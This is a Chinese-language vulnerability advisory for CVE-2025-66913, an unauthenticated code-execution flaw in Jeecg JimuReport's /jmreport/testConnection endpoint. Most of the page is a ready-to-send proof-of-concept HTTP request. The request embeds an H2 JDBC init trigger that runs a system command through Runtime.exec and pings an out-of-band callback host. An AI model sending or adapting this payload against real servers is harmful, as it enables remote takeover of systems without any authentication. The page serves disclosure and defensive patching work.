Jeecg JimuReport /jmreport/testConnection 代码执行漏洞（CVE-2025-66913）

2026-01-23 Jeecg JimuReport PoC Public

Description

Jeecg JimuReport是一款基于Java的报表设计工具，该产品2.1.3及之前版本中，/jmreport/testConnection接口对用户可控的H2 JDBC URL输入未进行充分验证和过滤，直接将攻击者提供的URL传递给H2数据库驱动。攻击者可利用H2数据库支持在JDBC URL中嵌入初始化指令的特性，构造包含恶意Java代码的JDBC URL，创建自定义函数并执行系统命令，最终实现远程代码执行。该漏洞利用无需身份验证和用户交互，攻击复杂度低，危害极大。

PoC

POST /jmreport/testConnection HTTP/1.1
Host: 
Content-Type: application/json;charset=UTF-8
Content-Length: 406
User-Agent: Mozilla/5.0 (ZZ; Linux i686; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
  "id": "1",
  "code": "dataSource1",
  "dbType": "H2",
  "dbDriver": "org.h2.Driver",
  "dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('ping d5ka8olf5qr25cpgidkgi4x3wncka46dr.oast.fun')\u000A$$",
  "dbName": "test",
  "dbUsername": "sa",
  "dbPassword": "",
  "connectTimes": 5
}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Jeecg JimuReport /jmreport/testConnection Code Execution Vulnerability(CVE-2025-66913)

References

Related Vulnerabilities